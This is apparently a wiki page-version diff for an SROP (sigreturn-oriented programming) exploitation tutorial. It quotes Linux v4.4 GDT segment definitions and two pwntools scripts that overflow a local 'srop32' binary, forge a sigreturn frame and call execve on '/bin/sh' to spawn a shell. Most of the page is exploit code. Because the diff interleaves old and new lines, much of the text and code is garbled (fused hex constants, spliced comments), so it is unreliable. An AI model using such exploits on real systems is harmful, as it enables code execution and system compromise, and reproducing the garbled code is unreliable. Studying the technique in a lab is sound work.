Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
languagecpp
titlehttps://elixir.bootlin.com/linux/v4.4/source/arch/x86/include/asm/segment.h#L44
#ifdef CONFIG_X86_32

...

#define GDT_ENTRY_TLS_MIN		6
#define GDT_ENTRY_TLS_MAX 		(GDT_ENTRY_TLS_MIN + GDT_ENTRY_TLS_ENTRIES - 1)

#define GDT_ENTRY_KERNEL_CS		12
#define GDT_ENTRY_KERNEL_DS		13
#define GDT_ENTRY_DEFAULT_USER_CS	14
#define GDT_ENTRY_DEFAULT_USER_DS	15
#define GDT_ENTRY_TSS			16
#define GDT_ENTRY_LDT			17
#define GDT_ENTRY_PNPBIOS_CS32		18
#define GDT_ENTRY_PNPBIOS_CS16		19
#define GDT_ENTRY_PNPBIOS_DS		20
#define GDT_ENTRY_PNPBIOS_TS1		21
#define GDT_ENTRY_PNPBIOS_TS2		22
#define GDT_ENTRY_APMBIOS_BASE		23
Code Block
languagecpp
firstline153
titlehttps://elixir.bootlin.com/linux/v4.4/source/arch/x86/include/asm/segment.h#L153
linenumberstrue
#else /* 64-bit: */

#include <asm/cache.h>

#define GDT_ENTRY_KERNEL32ESPFIX_CSSS		126
#define GDT_ENTRY_KERNEL_CSPERCPU		227
#define GDT_ENTRY_KERNELSTACK_DSCANARY		328

/#define GDT_ENTRY_DOUBLEFAULT_TSS	31

/*
 * Number Weof cannotentries usein the sameGDT code segment descriptor for user and kernel mode,table:
 */
#define GDT_ENTRIES			32

/*
 * notSegment evenselector invalues longcorresponding flatto mode,the because of different DPL.above entries:
 */

#define __KERNEL_CS			(GDT_ENTRY_KERNEL_CS*8)
#define __KERNEL_DS			(GDT_ENTRY_KERNEL_DS*8)
#define __USER_DS			(GDT_ENTRY_DEFAULT_USER_DS*8 + 3)
#define __USER_CS			(GDT_ENTRY_DEFAULT_USER_CS*8 + 3)
#define __ESPFIX_SS			(GDT_ENTRY_ESPFIX_SS*8)
Code Block
languagecpp
firstline153
titlehttps://elixir.bootlin.com/linux/v4.4/source/arch/x86/include/asm/segment.h#L153
linenumberstrue
#else /* 64-bit: */

#include <asm/cache.h>

#define GDT_ENTRY_KERNEL32_CS		1
#define GDT_ENTRY_KERNEL_CS		2
#define GDT_ENTRY_KERNEL_DS		3

/*
 * We cannot use the same code segment descriptor for user and kernel mode,
 * not even in long flat mode, because of different DPL.
 *
 * GDT layout to get 64-bit SYSCALL/SYSRET support right. SYSRET hardcodes
 * selectors:
 *
 *   if returning to 32-bit userspace: cs = STAR.SYSRET_CS,
 *   if returning to 64-bit userspace: cs = STAR.SYSRET_CS+16,
 *
 * ss = STAR.SYSRET_CS+8 (in either case)
 *
 * thus USER_DS should be between 32-bit and 64-bit code selectors:
 */
#define GDT_ENTRY_DEFAULT_USER32_CS	4
#define GDT_ENTRY_DEFAULT_USER_DS	5
#define GDT_ENTRY_DEFAULT_USER_CS	6

/* Needs two entries */
#define GDT_ENTRY_TSS			8
/* Needs two entries */
#define GDT_ENTRY_LDT			10

#define GDT_ENTRY_TLS_MIN		12
#define GDT_ENTRY_TLS_MAX		14

/* Abused to load per CPU data from limit */
#define GDT_ENTRY_PER_CPU		15

/*
 * Number of entries in the GDT table:
 */
#define GDT_ENTRIES			16

/*
 * Segment selector values corresponding to the above entries:
 *
 * Note, selectors also need to have a correct RPL,
 * expressed with the +3 value for user-space selectors:
 */
#define __KERNEL32_CS			(GDT_ENTRY_KERNEL32_CS*8)
#define __KERNEL_CS			(GDT_ENTRY_KERNEL_CS*8)
#define __KERNEL_DS			(GDT_ENTRY_KERNEL_DS*8)
#define __USER32_CS			(GDT_ENTRY_DEFAULT_USER32_CS*8 + 3)
#define __USER_DS			(GDT_ENTRY_DEFAULT_USER_DS*8 + 3)
#define __USER32_DS			__USER_DS
#define __USER_CS			(GDT_ENTRY_DEFAULT_USER_CS*8 + 3)
#define __PER_CPU_SEG			(GDT_ENTRY_PER_CPU*8 + 3)

/* TLS indexes for 64-bit - hardcoded in arch_prctl(): */
#define FS_TLS				0
#define GS_TLS				1

#define GS_TLS_SEL			((GDT_ENTRY_TLS_MIN+GS_TLS)*8 + 3)
#define FS_TLS_SEL			((GDT_ENTRY_TLS_MIN+FS_TLS)*8 + 3)

#endif * GDT layout to get 64-bit SYSCALL/SYSRET support right. SYSRET hardcodes
 * selectors:
 *
 *   if returning to 32-bit userspace: cs = STAR.SYSRET_CS,
 *   if returning to 64-bit userspace: cs = STAR.SYSRET_CS+16,
 *
 * ss = STAR.SYSRET_CS+8 (in either case)
 *
 * thus USER_DS should be between 32-bit and 64-bit code selectors:
 */
#define GDT_ENTRY_DEFAULT_USER32_CS	4
#define GDT_ENTRY_DEFAULT_USER_DS	5
#define GDT_ENTRY_DEFAULT_USER_CS	6
...
Info

...

Code Block
languagepy
titlesrop.py
from pwn import *
  
binary = ELF('./srop32')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

n')
stackAddr = int(stackAddr,16)

#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49020
syscall = libcBase + 0x1d8de60x1d5de6
binsh = libcBase + 0x15902b
ksigreturn = libcBase + 0x1d8de00x1d5de0

print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)

exploit = ''
exploit += "\x90" * 66x90" * 66
exploit += p32(ksigreturn)
exploit += p32(0x0)
 
exploit += p32(0x0)         #GS
exploit += p32(0x0)         #FS
exploit += p32(ksigreturn)0x0)         #ES
exploit += p32(0x0)
          #DS
exploit += p32(0x0)         #GS#EDI
exploit += p32(0x0)         #FS#ESI
exploit += p32(0x0)         #ES#EBP
exploit += p32(0x0)  syscall)     #ESP
exploit += p32(binsh)       #DS#EBX
exploit += p32(0x0)         #EDI#EDX
exploit += p32(0x0)         #ESI#ECX
exploit += p32(0x00xb)         #EBP#EAX
exploit += p32(syscall0x0)         #ESP#trapno
exploit += p32(binsh0x0)       #EBX  #err
 
exploit += p32(0x0syscall)     #EIP
#Runed a 32bit program in the 64bit operation #EDXsystem.
exploit += p32(0x00x23)         #ECX#CS
exploit += p32(0xb0x0)         #EAX#eflags
exploit += p32(0x0)         #trapno#esp_atsignal
exploit += p32(0x00x2b)         #err#SS
#Runed 
exploita += p32(syscall)     #EIP
exploit32bit program in the 32bit operation system.
#exploit += p32(0x230x73)        #CS
exploit#exploit += p32(0x0)         #eflags
exploit#exploit += p32(0x0)         #esp_atsignal
exploit#exploit += p32(0x2b0x7b)        #SS
 
p.send(exploit)
p.interactive()

...

Code Block
languagepy
titlesrop-pwn.py
from pwn import *
 
binary = ELF('./srop32')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

)
stackAddr = int(stackAddr,16)

#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49020
syscallksigreturn = libcBase + 0x1d8de60x1d5de0 
binshsyscall = libcBase + 0x1d5de6 0x15902b
ksigreturnbinsh = libcBase + 0x1d8de00x15902b

print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)
 
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn) 	#ret
exploit += p32(0x0)

#Runed a 32bit program in the 64bit operation system.
frame = SigreturnFrame(kernel='amd64')
#Runed a 32bit program in the 32bit operation system.
#frame = SigreturnFrame(kernel='i386')
frame.eax = constants.SYS_execve0xb
frame.ebx = binsh
frame.esp = syscall 
frame.eip = syscall
 
exploit += str(frame)

p.send(exploit)
p.interactive()

...